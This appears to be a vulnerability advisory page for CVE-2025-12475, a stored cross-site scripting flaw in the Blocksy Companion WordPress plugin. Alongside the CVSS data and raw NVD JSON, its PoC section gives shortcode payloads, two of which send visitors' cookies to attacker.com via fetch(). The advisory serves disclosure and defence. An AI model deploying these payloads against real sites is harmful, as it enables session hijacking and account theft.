Security Vulnerability Report
中文
CVE-2025-12475 CVSS 6.4 MEDIUM

CVE-2025-12475

Published: 2025-10-30 05:15:38
Last Modified: 2026-04-15 00:35:42

Description

The Blocksy Companion plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'blocksy_newsletter_subscribe' shortcode in all versions up to, and including, 2.1.14 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Blocksy Companion插件 ≤ 2.1.14(所有版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- PoC for CVE-2025-12475: Blocksy Companion Stored XSS via blocksy_newsletter_subscribe shortcode --> <!-- Requires contributor-level WordPress access --> <!-- Basic XSS PoC using shortcode attribute injection --> [blocksy_newsletter_subscribe title='"><script>alert(String.fromCharCode(88,83,83,80,111,99,107,101,100))</script>'] <!-- Alternative PoC using event handler --> [blocksy_newsletter_subscribe title='" onerror="alert(document.cookie)" foo="'] <!-- More sophisticated payload for session hijacking --> [blocksy_newsletter_subscribe placeholder='"><img src=x onerror=fetch(`https://attacker.com/steal?c=`+document.cookie)>'] <!-- PoC to inject via description field if available --> [blocksy_newsletter_subscribe description='<script>fetch("https://attacker.com/log?data="+btoa(document.cookie))</script>']

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12475", "sourceIdentifier": "[email protected]", "published": "2025-10-30T05:15:37.967", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Blocksy Companion plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'blocksy_newsletter_subscribe' shortcode in all versions up to, and including, 2.1.14 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset/3371878/blocksy-companion/trunk/framework/extensions/newsletter-subscribe/helpers.php", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/dd13eb67-3bd5-41c4-a47f-5f55656ea5b9?source=cve", "source": "[email protected]"}]}}